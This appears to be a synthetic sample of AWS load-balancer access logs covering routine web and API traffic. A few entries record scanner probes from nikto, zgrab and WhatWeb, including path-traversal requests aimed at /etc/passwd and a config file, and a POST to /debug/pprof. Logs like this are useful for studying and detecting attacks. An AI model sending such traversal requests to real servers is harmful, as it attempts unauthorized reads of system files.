arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c763-7f0f4784684d49cd96e15e45" "prod-api-alb.example.com" "-" 10 2024-11-01T01:07:31.221151Z "forward" "-" "-" "10.0.2.159:443" "200" "-" "-" +https 2024-11-01T01:07:31.330662Z staging-alb 51.243.252.75:27664 149.97.90.151:443 0.008250 0.147558 0.092279 404 404 10 5060 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c763-3c58bbfbc357449499b5208b" "staging-alb.example.com" "-" 7 2024-11-01T01:07:31.330662Z "forward" "-" "-" "149.97.90.151:443" "404" "-" "-" +https 2024-11-01T01:07:33.247260Z prod-api-alb 207.218.17.50:18796 10.0.174.111:443 0.070656 0.292970 0.038608 301 301 393 5948 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c765-af380806969747af89346712" "prod-api-alb.example.com" "-" 0 2024-11-01T01:07:33.247260Z "forward" "-" "-" "10.0.174.111:443" "301" "-" "-" +https 2024-11-01T01:07:34.732670Z prod-web-alb 92.132.180.64:36244 10.0.69.146:443 0.001427 0.022356 0.029841 200 200 670 7845 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c766-def5ec67ac264fe798e00a7d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:07:34.732670Z "forward" "-" "-" "10.0.69.146:443" "200" "-" "-" +https 2024-11-01T01:07:34.962070Z prod-api-alb 135.92.189.147:39181 10.0.110.212:443 0.027347 0.376417 0.005491 200 200 183 11829 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c766-8b1eade2c1014e3cbf4d0831" "prod-api-alb.example.com" "-" 4 2024-11-01T01:07:34.962070Z "forward" "-" "-" "10.0.110.212:443" "200" "-" "-" +https 2024-11-01T01:07:35.583552Z prod-web-alb 250.254.15.161:60625 10.0.146.95:443 0.027293 0.223529 0.037601 301 301 719 14939 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c767-a350cf5de5934345ae9cd0e4" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:35.583552Z "forward" "-" "-" "10.0.146.95:443" "301" "-" "-" +https 2024-11-01T01:07:36.757439Z staging-alb 232.7.224.86:57441 168.89.107.159:8080 0.050504 0.668760 0.048639 404 404 789 1046 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c768-c0f4d47168804d598fffd4d7" "staging-alb.example.com" "-" 3 2024-11-01T01:07:36.757439Z "forward" "-" "-" "168.89.107.159:8080" "404" "-" "-" +https 2024-11-01T01:07:36.859483Z prod-web-alb 172.137.248.131:35832 10.0.84.202:443 0.054563 0.054616 0.072992 200 200 548 5082 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c768-716110f8513c41a587357533" "prod-web-alb.example.com" "-" 2 2024-11-01T01:07:36.859483Z "forward" "-" "-" "10.0.84.202:443" "200" "-" "-" +https 2024-11-01T01:07:37.283174Z staging-alb 103.87.133.10:57889 197.10.219.222:80 0.065652 0.650277 0.131487 404 404 578 9750 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c769-7b72815a31f447e2bd6d8216" "staging-alb.example.com" "-" 4 2024-11-01T01:07:37.283174Z "forward" "-" "-" "197.10.219.222:80" "404" "-" "-" +https 2024-11-01T01:07:39.159830Z prod-web-alb 147.177.76.211:40678 10.0.170.42:443 0.033363 0.091256 0.007237 200 200 651 4453 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c76b-906a6b1e2a6c4192b3fc2dc1" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:39.159830Z "forward" "-" "-" "10.0.170.42:443" "200" "-" "-" +http 2024-11-01T01:07:40.797114Z staging-alb 213.254.56.182:22259 118.237.69.24:443 0.110842 0.338109 0.144611 200 200 234 1208 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c76c-77114c970c414bd5a82df8b5" "staging-alb.example.com" "-" 0 2024-11-01T01:07:40.797114Z "forward" "-" "-" "118.237.69.24:443" "200" "-" "-" +https 2024-11-01T01:07:41.307365Z prod-web-alb 218.201.89.104:64557 10.0.2.94:443 0.078621 0.418361 0.053168 200 200 525 10932 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c76d-e8bf66b222264a2db4bd3c17" "prod-web-alb.example.com" "-" 1 2024-11-01T01:07:41.307365Z "forward" "-" "-" "10.0.2.94:443" "200" "-" "-" +https 2024-11-01T01:07:42.197073Z prod-web-alb 89.161.213.101:64555 10.0.181.242:443 0.088305 0.173043 0.064658 301 301 377 5153 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c76e-d88683b9fcf44cec869e589f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:42.197073Z "forward" "-" "-" "10.0.181.242:443" "301" "-" "-" +https 2024-11-01T01:07:43.523283Z prod-web-alb 3.169.82.180:18132 10.0.136.50:443 0.071743 0.050799 0.050979 302 302 166 2369 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c76f-8edb1831c08b47069d06acd2" "prod-web-alb.example.com" "-" 7 2024-11-01T01:07:43.523283Z "forward" "-" "-" "10.0.136.50:443" "302" "-" "-" +https 2024-11-01T01:07:43.663002Z prod-web-alb 63.199.214.193:64147 10.0.101.179:443 0.052126 0.138485 0.011097 404 404 27 11862 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c76f-a041c9845aaf47e99807d1ac" "prod-web-alb.example.com" "-" 9 2024-11-01T01:07:43.663002Z "forward" "-" "-" "10.0.101.179:443" "404" "-" "-" +https 2024-11-01T01:07:43.847659Z prod-web-alb 18.54.88.205:50795 10.0.190.120:443 0.097243 0.472803 0.045785 404 404 739 10216 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c76f-40b7e70c1c2b4376805b5119" "prod-web-alb.example.com" "-" 8 2024-11-01T01:07:43.847659Z "forward" "-" "-" "10.0.190.120:443" "404" "-" "-" +https 2024-11-01T01:07:44.760391Z prod-api-alb 114.144.218.115:63629 10.0.88.9:443 0.093201 0.106629 0.005677 200 200 19 7571 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c770-eaa08ace650c4759af4a0080" "prod-api-alb.example.com" "-" 10 2024-11-01T01:07:44.760391Z "forward" "-" "-" "10.0.88.9:443" "200" "-" "-" +https 2024-11-01T01:07:45.964275Z prod-web-alb 240.22.181.70:17921 10.0.243.81:443 0.008854 0.091721 0.090535 301 301 670 8158 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c771-3ad5e0a8fb9840449f51f6c5" "prod-web-alb.example.com" "-" 7 2024-11-01T01:07:45.964275Z "forward" "-" "-" "10.0.243.81:443" "301" "-" "-" +http 2024-11-01T01:07:47.879918Z staging-alb 219.37.87.54:36645 125.250.117.221:443 0.125139 0.431829 0.046858 301 301 595 12167 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c773-3186fe7de710469a8c9936c9" "staging-alb.example.com" "-" 6 2024-11-01T01:07:47.879918Z "forward" "-" "-" "125.250.117.221:443" "301" "-" "-" +https 2024-11-01T01:07:49.650911Z staging-alb 241.227.60.76:41741 114.241.21.44:80 0.099518 0.279693 0.125124 200 200 743 4768 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c775-b852836e4e9848539c198dfa" "staging-alb.example.com" "-" 2 2024-11-01T01:07:49.650911Z "forward" "-" "-" "114.241.21.44:80" "200" "-" "-" +https 2024-11-01T01:07:50.552380Z prod-web-alb 206.26.27.209:53002 10.0.169.84:443 0.076492 0.254837 0.060907 404 404 253 11123 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c776-382b26fb5be140949d17deca" "prod-web-alb.example.com" "-" 3 2024-11-01T01:07:50.552380Z "forward" "-" "-" "10.0.169.84:443" "404" "-" "-" +http 2024-11-01T01:07:50.798707Z staging-alb 19.8.240.13:18448 49.45.246.21:80 0.031293 0.216444 0.105884 302 302 257 5194 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c776-b008022d392f445f86e1a276" "staging-alb.example.com" "-" 6 2024-11-01T01:07:50.798707Z "forward" "-" "-" "49.45.246.21:80" "302" "-" "-" +https 2024-11-01T01:07:52.243963Z prod-api-alb 18.255.105.154:57325 10.0.97.46:443 0.031466 0.094596 0.000787 404 404 809 13429 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c778-3681964bbf30488b82b21ada" "prod-api-alb.example.com" "-" 7 2024-11-01T01:07:52.243963Z "forward" "-" "-" "10.0.97.46:443" "404" "-" "-" +https 2024-11-01T01:07:54.229398Z staging-alb 80.50.122.50:51587 156.138.57.117:80 0.135154 0.506280 0.046414 200 200 657 996 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c77a-62bab7263ef34ce08839412a" "staging-alb.example.com" "-" 0 2024-11-01T01:07:54.229398Z "forward" "-" "-" "156.138.57.117:80" "200" "-" "-" +https 2024-11-01T01:07:54.898110Z prod-web-alb 193.27.228.98:32199 10.0.1.48:443 0.080188 0.421446 0.032856 403 403 869 10430 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c77a-ef29b63a08bf48229e699eba" "-" "-" 0 2024-11-01T01:07:54.898110Z "forward" "-" "-" "10.0.1.48:443" "403" "-" "-" +https 2024-11-01T01:07:55.730179Z staging-alb 193.27.228.174:33578 85.129.14.18:8080 0.038278 0.450457 0.105879 404 404 482 10497 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c77b-cd8c0edd5d1b489086f4cd8d" "-" "-" 10 2024-11-01T01:07:55.730179Z "forward" "-" "-" "85.129.14.18:8080" "404" "-" "-" +https 2024-11-01T01:07:56.289621Z prod-api-alb 201.246.74.81:45033 10.0.204.153:443 0.042923 0.494632 0.005186 200 200 235 11548 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c77c-c137e37ee8de4840b903f5dd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:07:56.289621Z "forward" "-" "-" "10.0.204.153:443" "200" "-" "-" +https 2024-11-01T01:07:57.196502Z staging-alb 48.82.65.226:31439 171.246.100.38:443 0.050246 0.243905 0.005354 301 301 399 4469 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c77d-80219d127a104f01aaa82f69" "staging-alb.example.com" "-" 6 2024-11-01T01:07:57.196502Z "forward" "-" "-" "171.246.100.38:443" "301" "-" "-" +https 2024-11-01T01:07:58.554170Z prod-web-alb 116.165.209.113:45431 10.0.130.116:443 0.034359 0.477605 0.062394 200 200 585 13904 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c77e-f788c590afd74c9f82a571d8" "prod-web-alb.example.com" "-" 1 2024-11-01T01:07:58.554170Z "forward" "-" "-" "10.0.130.116:443" "200" "-" "-" +https 2024-11-01T01:07:59.741860Z prod-api-alb 248.255.69.134:19654 10.0.24.11:443 0.065633 0.318510 0.001446 302 302 490 5762 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c77f-53564f1244374fe4916911a1" "prod-api-alb.example.com" "-" 2 2024-11-01T01:07:59.741860Z "forward" "-" "-" "10.0.24.11:443" "302" "-" "-" +https 2024-11-01T01:08:01.182189Z prod-api-alb 204.56.81.53:34346 10.0.234.218:443 0.056571 0.104865 0.025355 200 200 29 1048 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c781-eedf2618f4134a55ae93379e" "prod-api-alb.example.com" "-" 8 2024-11-01T01:08:01.182189Z "forward" "-" "-" "10.0.234.218:443" "200" "-" "-" +https 2024-11-01T01:08:02.153276Z prod-web-alb 165.72.110.175:14485 10.0.248.62:443 0.099908 0.089114 0.058970 301 301 441 4441 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c782-363029e0027a4e42b3ba462d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:08:02.153276Z "forward" "-" "-" "10.0.248.62:443" "301" "-" "-" +https 2024-11-01T01:08:03.945044Z prod-api-alb 141.230.234.97:22289 10.0.247.157:443 0.036973 0.142472 0.045183 301 301 638 4002 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c783-c3eebb300dd0424888585387" "prod-api-alb.example.com" "-" 10 2024-11-01T01:08:03.945044Z "forward" "-" "-" "10.0.247.157:443" "301" "-" "-" +https 2024-11-01T01:08:04.639714Z prod-web-alb 45.155.205.99:35871 10.0.178.6:443 0.032734 0.350786 0.032443 403 403 370 7758 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c784-e5a10d3756b241b594c9b36a" "-" "-" 0 2024-11-01T01:08:04.639714Z "forward" "-" "-" "10.0.178.6:443" "403" "-" "-" +https 2024-11-01T01:08:05.424278Z prod-api-alb 230.25.85.167:23397 10.0.138.90:443 0.061805 0.089968 0.050237 200 200 651 11819 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c785-f79a14104d6343d8a48662fa" "prod-api-alb.example.com" "-" 3 2024-11-01T01:08:05.424278Z "forward" "-" "-" "10.0.138.90:443" "200" "-" "-" +https 2024-11-01T01:08:05.766644Z staging-alb 124.14.112.166:16964 46.228.8.9:8080 0.139476 0.253255 0.149458 200 200 684 4909 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c785-9ea44fbc153341fe84b21057" "-" "-" 1 2024-11-01T01:08:05.766644Z "forward" "-" "-" "46.228.8.9:8080" "200" "-" "-" +http 2024-11-01T01:08:06.381711Z staging-alb 170.46.200.216:26982 116.41.167.183:8080 0.073440 0.389419 0.052602 301 301 421 10138 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c786-f45a4dd5c0394936a2a663d6" "staging-alb.example.com" "-" 5 2024-11-01T01:08:06.381711Z "forward" "-" "-" "116.41.167.183:8080" "301" "-" "-" +http 2024-11-01T01:08:07.690653Z staging-alb 5.26.61.225:60819 197.232.113.241:443 0.047110 0.217972 0.006744 200 200 953 3507 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c787-3a0e5bdfba74472881dddbe1" "staging-alb.example.com" "-" 6 2024-11-01T01:08:07.690653Z "forward" "-" "-" "197.232.113.241:443" "200" "-" "-" +http 2024-11-01T01:08:09.379099Z staging-alb 16.102.251.180:48515 117.169.107.251:80 0.030099 0.406424 0.093451 200 200 378 11473 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c789-f175c00dade0430ca475c386" "staging-alb.example.com" "-" 9 2024-11-01T01:08:09.379099Z "forward" "-" "-" "117.169.107.251:80" "200" "-" "-" +https 2024-11-01T01:08:10.184218Z prod-api-alb 200.94.202.209:12805 10.0.211.198:443 0.069581 0.402940 0.057170 200 200 524 5475 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c78a-5a4ffe4864d7470fafa5bc23" "prod-api-alb.example.com" "-" 9 2024-11-01T01:08:10.184218Z "forward" "-" "-" "10.0.211.198:443" "200" "-" "-" +https 2024-11-01T01:08:10.726145Z staging-alb 3.27.52.43:46793 214.179.247.193:443 0.016197 0.041972 0.041729 404 404 224 7858 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c78a-b2cfaec95afd4856887a1af7" "staging-alb.example.com" "-" 5 2024-11-01T01:08:10.726145Z "forward" "-" "-" "214.179.247.193:443" "404" "-" "-" +https 2024-11-01T01:08:11.258540Z prod-web-alb 234.187.197.137:27477 10.0.92.47:443 0.045122 0.301018 0.064514 302 302 57 5885 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c78b-8d287b7a38bf4087bb02790d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:08:11.258540Z "forward" "-" "-" "10.0.92.47:443" "302" "-" "-" +https 2024-11-01T01:08:12.059757Z prod-api-alb 48.51.150.76:40884 10.0.221.143:443 0.045590 0.390461 0.027611 200 200 873 1644 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c78c-00f0bc105f844a46a0b6f353" "prod-api-alb.example.com" "-" 5 2024-11-01T01:08:12.059757Z "forward" "-" "-" "10.0.221.143:443" "200" "-" "-" +https 2024-11-01T01:08:13.467412Z staging-alb 125.45.28.90:41699 43.53.165.79:80 0.086426 0.329868 0.116366 404 404 966 3998 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c78d-6dcd15ddd022451081169229" "staging-alb.example.com" "-" 10 2024-11-01T01:08:13.467412Z "forward" "-" "-" "43.53.165.79:80" "404" "-" "-" +https 2024-11-01T01:08:14.927901Z prod-api-alb 70.206.126.100:23002 10.0.207.96:443 0.024634 0.278916 0.042066 302 302 69 5940 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c78e-cef0e75b1fda4dbe995b4634" "prod-api-alb.example.com" "-" 8 2024-11-01T01:08:14.927901Z "forward" "-" "-" "10.0.207.96:443" "302" "-" "-" +https 2024-11-01T01:08:16.923319Z prod-api-alb 191.92.147.152:55524 10.0.185.226:443 0.095059 0.103668 0.069080 200 200 478 1907 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c790-6a92e8de538042baba43d5ce" "prod-api-alb.example.com" "-" 5 2024-11-01T01:08:16.923319Z "forward" "-" "-" "10.0.185.226:443" "200" "-" "-" +https 2024-11-01T01:08:17.477258Z prod-api-alb 195.85.81.200:61335 10.0.145.234:443 0.070895 0.430834 0.029396 200 200 438 13007 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c791-6501224b7f144a6e98233121" "prod-api-alb.example.com" "-" 2 2024-11-01T01:08:17.477258Z "forward" "-" "-" "10.0.145.234:443" "200" "-" "-" +https 2024-11-01T01:08:18.414366Z prod-api-alb 163.19.170.20:24371 10.0.107.111:443 0.053141 0.138996 0.044699 404 404 612 11366 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c792-295d41f2a06544f781aa26e8" "prod-api-alb.example.com" "-" 0 2024-11-01T01:08:18.414366Z "forward" "-" "-" "10.0.107.111:443" "404" "-" "-" +https 